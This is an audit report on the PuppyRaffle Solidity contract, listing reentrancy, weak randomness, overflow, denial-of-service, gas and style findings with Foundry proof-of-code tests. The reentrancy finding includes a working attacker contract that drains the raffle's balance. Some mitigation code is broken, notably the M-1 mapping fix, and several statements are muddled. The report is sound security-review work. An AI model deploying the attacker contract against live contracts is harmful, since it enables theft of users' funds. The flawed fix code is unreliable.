PuppyRaffle Audit Report

Version 1.0

Phylax

September 11, 2024

Protocol Audit Report

Phylax

September 11 2024

Prepared by: Phylax

Lead auditor: Phylax

Table of Contents

    * [M-1]: `PuppRaffle::enterRaffle` has a for loop when checking for duplicate addresses that could be exploited to create a potential denial of service(DoS) attack, incrementing the gas cost for future entrants
    * [M-2] Smart contract wallet without a `recieve` or `fallback` function would block the start of a new raffle contest
  - Low
    * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for nonexisting players and for players at index 0, causing a player at index 0 to incorrectly think that they have not entered the raffle
  - Gas
    * [G-1]: Unchanged state variables should be declared as constant or immutable
    * [G-2] Should use cached array length instead of referencing `length` member of the storage array when looping
  - Informational
    * [I-1]: Solidity pragma should be specific, not wide
    * [I-2]: Using an outdated version of Solidity is not recommended
    * [I-3]: Missing checks for `address(0)` when assigning values to address state variables
    * [I-4] `PuppyRaffle::selectWinner` should follow CEI, which is not a best practice
    * [I-5] Use of "magic" numbers is discouraged
    * [I-6] `PuppyRaffle::_isActivePlayer` function is newer used and should be removed

Protocol Summary

This project is a raffle where the winner gets a cute dog NFT. How the protocol works:

1. Enter the raffle through `enterRaffle` function where the parameter is `address [] memory newPlayers` array.
2. Duplicate addresses are not allowed.
3. During the `duration` of the raffle players can call the `refund` function to get a refund.
4. When the raffle is finished after a set time anyone can call the `selectWinner` function.
5. The winner is selected through randomness.
6. The dog NFT comes in three different classes: common, rare, and legendary. Is selected through randomness.
7. The protocol takes a 20% cut of the fees while the remaining fees gets tranfered to the winner.
8. The NFT gets minted to the winner.

Disclaimer

Phylax makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by Phylax is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

- In Scope:

```
src
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Info	6
Gas	2
Total	14

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effect, Interactions) and as a result, enables the participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after that external call we update the `PuppyRaffle::players` array.

```
1
2  function refund(uint256 playerIndex) public {
3          address playerAddress = players[playerIndex];
4          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
5          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
6
7   @>     payable(msg.sender).sendValue(entranceFee);
8   @>     players[playerIndex] = address(0);
9
10         emit RaffleRefunded(playerAddress);
11     }
```

A player that has entered the raffle could have a `fallback/recieve` function that calls the `PuppyRaffle:refund` function again and claim the refund. They could repeat this until the

balance of the `PuppyRaffle` contract is drained before the `PuppyRaffle::players` array is updated.

Impact: All fees paid by raffle entrants could be stolen by a maliciuos participant.

Proof of Concept:

1. Users enter the raffle
2. Attacker sets up a contract with a `fallback` function that calls the `PuppyRaffle::refund` function
3. Attacker enters raffle
4. Attacker calls the `PuppyRaffle::refund` function
5. `PuppyRaffle` contract sends the refund to attacker
6. `fallback` function in attacker contract calls `PuppyRaffle::refund` function multiple times until the balance of `PuppyRaffle` contract has less than the `entranceFee`
7. `PuppyRaffle::players` array is updated but attacker has drained the `PuppyRaffle` contract

Proof of Code:

Code

Add the `ReentrancyAttacker` contract to the `PuppyRaffleTest.t.sol` file:

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }
```

```
24
25      receive() external payable {
26          _stealMoney();
27      }
28
29      fallback() external payable {
30          _stealMoney();
31      }
32  }
```

Then add this test to `PuppyRaffleTest` contract:

```
1  function testReentrancyRefund() public {
2          address[] memory players = new address[](4);
3          players[0] = playerOne;
4          players[1] = playerTwo;
5          players[2] = playerThree;
6          players[3] = playerFour;
7          puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9          ReentrancyAttacker attacker = new ReentrancyAttacker(
               puppyRaffle);
10         vm.deal(address(attacker), entranceFee);
11         attacker.attack();
12
13         assert(address(puppyRaffle).balance == 0);
14         console.log("PuppyRaffle balance: ", address(puppyRaffle).
               balance);
15         console.log("Attacker balance: ", address(attacker).balance);
16     }
```

When running the `testReentrancyRefund` function you can see the balance of the attacker is 5 ether while the raffle balance is 0 ether:

```
1  Logs:
2    PuppyRaffle balance:  0
3    Attacker balance:  5000000000000000000
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making an external call. Additionaly, we should move the event emmision to before the external call aswell.

```
1  function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5
6  +       players[playerIndex] = address(0);
```

```
+        emit RaffleRefunded(playerAddress);
         payable(msg.sender).sendValue(entranceFee);
-        players[playerIndex] = address(0);

-        emit RaffleRefunded(playerAddress);


    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Maliciuos users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means the users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept: Consider using a cryptographically provable random number generator such as Chainlink VRF.

1. Validators can know ahaed of the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with `block.prevrandao`
2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max
// myVar = 18446744073709551615
myVar = myVar + 1
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, `feeAddress` may not collect the correct amount of fees, leaving fees permenantly stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 4 players
2. We then have 89 players enter a new raffle, and conclude the raffle
3. `totalFees` will be:

```
totalFees = 800000000000000000 + 17800000000000000000;
// this will overflow
totalFees = 153255926290448384;
```

4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance ==
  uint256(totalFees), "PuppyRaffle: There are currently players active!
      ");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point there will be to much `balance` in the contract that the above `require` will be impossible to hit.

Code

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000
        console.log("startingTotalFees: ", startingTotalFees);

        console.log("address(puppyRaffle).balance: ", address(
            puppyRaffle).balance);

        // We then enter 89 players into a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
```

```
15          for (uint256 i = 0; i < playersNum; i++) {
16              players[i] = address(i);
17          }
18          puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
                players);
19          // We end the raffle
20          vm.warp(block.timestamp + duration + 1);
21          vm.roll(block.number + 1);
22
23          // Here is were the issue occurs
24          // We will now have fewer fees even though we just finished a
                second raffle
25          // The max uint64 is 18446744073709551615 and since the
                contract is using version earlier than 0.8.0 the overflow
                will occur without reverting
26          puppyRaffle.selectWinner();
27
28          uint256 endingTotalFees = puppyRaffle.totalFees();
29          console.log("endingTotalFees: ", endingTotalFees);
30          assert(endingTotalFees < startingTotalFees);
31
32          // We also can't withdraw the fees because of the check
33          vm.prank(puppyRaffle.feeAddress());
34          vm.expectRevert("PuppyRaffle: There are currently players
                active!");
35          puppyRaffle.withdrawFees();
36      }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, use a `uint256` instead of a `uint64` for `PuppyRaffle::totalFees`.
2. You could also use the `SafeMath` library of Openzeppelin for version 0.7.6 of solidity, however you would still have a hard time with `uin64` type if to many fees are collected.
3. Remove balance check from `PuppyRaffle::withdrawFees`:

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardsless.

Medium

[M-1]: `PuppRaffle::enterRaffle` has a for loop when checking for duplicate addresses that could be exploited to create a potential denial of service(DoS) attack, incrementing the gas cost for future entrants

Description: The `PuppyRaffle::enterRaffle` function is looping through the `players` array to check for duplicate addresses. However, the longer the `PuppyRaffle::players` array is, the checks a new player will have to make. This means the gas costs for the the player that enters first will be dramatically lower than for those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
1           // @audit - This could be exploited by a malicious user to
               create a DOS attack
2   @>      for (uint256 i = 0; i < players.length - 1; i++) {
3               for (uint256 j = i + 1; j < players.length; j++) {
4                   require(players[i] != players[j], "PuppyRaffle:
                       Duplicate player");
5               }
6           }
```

Impact: The gascost for the raffle entrants will greatly increase as more players enters the raffle. Discouraging later users from entering, and causing a rush at the start of the raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::players` array so big, that no one else enters, guaranteeing themselves to win.

Proof of Concept:

If we have 2 sets of 100 players enter the raffle, the gas costs will be:

- 1st 100 players: ~6252047 gas
- 2nd 100 players: ~18068137 gas

This is almost 3x more expensive for the 2nd 100 players.

PoC

Add this test to the `PuppyRaffleTest.t.sol` file:

```
1   function testDenialOfService() public {
2           // Setting gasprice to 1
3           vm.txGasPrice(1);
4
5           // Let's enter 100 players
6           uint256 playersNum = 100;
```

```
7           address[] memory players = new address[](playersNum);
8           for (uint256 i = 0; i < playersNum; i++) {
9               players[i] = address(i);
10          }
11          // see how much gas it costs
12          uint256 gasStart = gasleft();
13          puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
                players);
14          uint256 gasEnd = gasleft();
15
16          uint256 gasUsed = (gasStart - gasEnd) * tx.gasprice;
17          console.log("Gas cost of the first 100 players: ", gasUsed);
18
19          // Enter another 100 players
20          address[] memory players2 = new address[](playersNum);
21          for (uint256 i = 0; i < playersNum; i++) {
22              players2[i] = address(i + playersNum);
23          }
24          // see how much gas it costs
25          uint256 gasStart2 = gasleft();
26          puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
                players2);
27          uint256 gasEnd2 = gasleft();
28
29          uint256 gasUsed2 = (gasStart2 - gasEnd2) * tx.gasprice;
30          console.log("Gas cost of the second 100 players: ", gasUsed2);
31
32          assert(gasUsed2 > gasUsed);
33      }
```

Recommended Mitigation:

Here are some of recommendations, any one of that can be used to mitigate this risk.

1. Use a mapping to check duplicates. For this approach you to declare a variable uint256 raffleID, that way each raffle will have unique id. Add a mapping from player address to raffle id to keep of users for particular round.

```
1  + uint256 public raffleID;
2  + mapping (address => uint256) public usersToRaffleId
3  .
4  .
5  function enterRaffle(address[] memory newPlayers) public payable {
6           require(msg.value == entranceFee * newPlayers.length, "
               PuppyRaffle: Must send enough to enter raffle");
7           for (uint256 i = 0; i < newPlayers.length; i++) {
8               players.push(newPlayers[i]);
9
10 +             usersToRaffleId[newPlayers[i]] = true;
11          }
```

```
12
13          // Check for duplicates
14  +       for (uint256 i = 0; i < newPlayers.length; i++){
15  +           require(usersToRaffleId[i] != raffleID, "PuppyRaffle:
        Already a participant");
16
17  -       for (uint256 i = 0; i < players.length - 1; i++) {
18  -            for (uint256 j = i + 1; j < players.length; j++) {
19  -                require(players[i] != players[j], "PuppyRaffle:
        Duplicate player");
20  -            }
21          }
22
23          emit RaffleEnter(newPlayers);
24      }
25  .
26  .
27  .
28
29
30  function selectWinner() external {
31          //Existing code
32  +     raffleID = raffleID + 1;
33      }
```

2. Allow duplicates participants, as technically you can't stop people participants more than once. As players can use new address to enter.

```
1  function enterRaffle(address[] memory newPlayers) public payable {
2          require(msg.value == entranceFee * newPlayers.length, "
               PuppyRaffle: Must send enough to enter raffle");
3          for (uint256 i = 0; i < newPlayers.length; i++) {
4              players.push(newPlayers[i]);
5          }
6
7          emit RaffleEnter(newPlayers);
8      }
```

[M-2] Smart contract wallet without a `recieve` or `fallback` function would block the start of a new raffle contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery, However, if the winner is a smart contract wallet that rejects payments, the lottery wouls not be able to restart.

Users could easely call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could be very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money.

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a recieve or fallback function.
2. The lottery ends.
3. The `selectWinner` function wouldn't work, even though the lottery ended.

Recommended Mitigation: There is a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended).
2. Create a mapping of addresses -> payout amounts so winners could pull their funds themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize (recommended).

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for nonexisting players and for players at index 0, causing a player at index 0 to incorrectly think that they have not entered the raffle

Description: If a player is in `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 for players that are not in the array.

```
1 /// @return the index of the player in the array, if they are not
     active, it returns 0
2 function getActivePlayerIndex(address player) external view returns (
     uint256) {
3         for (uint256 i = 0; i < players.length; i++) {
4             if (players[i] == player) {
5                 return i;
6             }
7         }
8         return 0;
9     }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant

2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the user documentation

Recommended Mitigation: The easiest recommendation would be to revert is player is not in array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution is to return and `int256` where the function returns -1 if the player is not active.

Gas

[G-1]: Unchanged state variables should be declared as constant or immutable

Reading from storage is much more expensive than reading constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Should use cached array length instead of referencing `length` member of the storage array when looping

Everytime you call `players.length` you read from storage, as opposed from memory which is more ga efficient.

```
+   uint256 playersLength = players.length;
-   for (uint256 i = 0; i < players.length - 1; i++) {
+   for (uint256 i = 0; i < playersLength - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
+           for (uint256 j = i + 1; j < playersLength; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

[I-2]: Using an outdated version of Solidity is not recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommended: Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 71

```
1         feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 227

```
1         feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` should follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
-    (bool success,) = winner.call{value: prizePool}("");
-    require(success, "PuppyRaffle: Failed to send prize pool to winner"
     );
     _safeMint(winner, tokenId);
+    (bool success,) = winner.call{value: prizePool}("");
+    require(success, "PuppyRaffle: Failed to send prize pool to winner"
     );
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
    uint256 prizePool = (totalAmountCollected * 80) / 100;
    uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead you could use:

```
    uint256 public constant PRICE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
    uint256 public constant POOL_PRECISION = 100;
    uint256 prizePool = (totalAmountCollected * PRICE_POOL_PERCENTAGE)
        / POOL_PRECISION;
    uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
        POOL_PRECISION;
```

[I-6] `PuppyRaffle::_isActivePlayer` function is newer used and should be removed

The `_isActivePlayer` is dead code the is newer used and should be removed because it consumes gas and has no use.